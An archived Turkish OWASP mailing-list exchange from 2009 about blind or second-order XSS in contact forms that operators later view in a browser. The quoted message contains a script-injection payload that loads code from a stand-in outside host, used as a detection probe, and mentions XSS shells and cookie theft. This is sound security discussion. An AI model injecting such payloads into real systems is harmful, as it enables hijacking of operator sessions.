[Owasp-turkey] Gizli XSS'ler

Bedirhan Urgun bedirhanurgun at gmail.com
Thu Oct 22 12:41:46 EDT 2009


Testlerde her zaman uygulamanin kullandigi butun kullanici profillerine
ulasip, bunlari testlerde kullanmak mumkun olmuyor. Hele prod ortamlarda. O
acidan testlerinde buna da yer vermen ve basarili olarak gerceklemen
testlerin kalitesi acisindan bence buyuk bir arti. Otomatik olarak
out-of-band channel sqli bulmaya calisan araclar var ama bunu hic gormedim
:).

Genel olarak "second order injection" diyollar. Second Order SQLi, Second
Order XSS, Second Order bilmem ne...


21 Ekim 2009 18:28 tarihinde Deniz CEVIK <denizcev at gmail.com> yazdı:

> Selam arkadaÅŸlar,
>
> Bildiğiniz üzere genel olarak XSS'ler 3 kategoriye ayrılıyor, Stored,
> Reflected ve Dom-Based. Bu XSS tiplerini webapp scanner yazılımları
> ile bulmak oldukça kolay. Ancak bunlar dışında kullanıcı girdisini
> alan fakat girilen bilgileri görüntülemeyen, çıktı olarak "bilgiler
> elimize ulaştı, eyvallah..." gibisinden mesajlar üreten uygulamalar da
> belkide yukarıdakilerden daha ciddi sıkıntılar oluşturabilecek XSS
> saldırılarından etkilenebiliyor.
>
> Özellikle yazılımcılar kullanıcı girdilerinden çıktı üreten sayfalarda
> XSS kontrollerini etkin bir şekilde yapmasına rağmen, bu tip
> sayfalarda bu kontrolleri yapmayı göz ardı edebiliyorlar. İletişim
> formları, bize ulaşın gibi formlar aracılığı ile yollanan bilgiler bir
> operator tarafından yine browser ile erişilen bir arabirimle
> işleniyorsa, operator browserinde istenilen scriptleri çalıştırmak
> mümkün olabilir. Uygulamalardaki bu tip problemleri ise otomatik
> tarama araçları ile tespit etmek malesef mümkün değil. Üstelik
> genellikle yerel aÄŸa eriÅŸim, cms arabirimine eriÅŸim cookilerini
> toplama gibi ciddi sorunlar ile karşılaşılabiliyor.
>
> Bu tip problemleri tespit etmek için <SCRIPT
> SRC="http://www.site.com/xss.jpg"></SCRIPT> gibi ifadeleri parametre
> değeri olarak yollayıp, kendi web sitemizin loglarına bakarak erişim
> olup olmadığını kontrol edip, ilgili uygulamanın XSS açığından
> etkilenip etkilenmediÄŸini belirleyebiliriz. Benzer ÅŸekilde XSS shell
> açmakda mümkün olabilir. :=) Bu xss yöntemi bir stored xss tipi olarak
> nitelendirilebilir sanırım ama gizli xss diye adlandırmak daha hoş
> duruyor.
>
> Son günlerde bu problemlerle çok sık karşılatığım ve göz ardı
> edildiğini gördüğüm için sizlerle paylaşmak istedim.
>
> İyi Çalışmalar.
> _______________________________________________
> Owasp-turkey mailing list
> Owasp-turkey at lists.owasp.org
> https://lists.owasp.org/mailman/listinfo/owasp-turkey
>



-- 
Bedirhan Urgun
http://www.webguvenligi.org
http://www.owasp.org/index.php/Turkey

Türkçe Web Uygulama Güvenliği E-Posta Listesine üye olmak için:
https://lists.owasp.org/mailman/listinfo/owasp-turkey
-------------- sonraki bölüm --------------
Bir HTML eklentisi temizlendi...
URL: https://lists.owasp.org/pipermail/owasp-turkey/attachments/20091022/8613cc60/attachment.html 


More information about the Owasp-turkey mailing list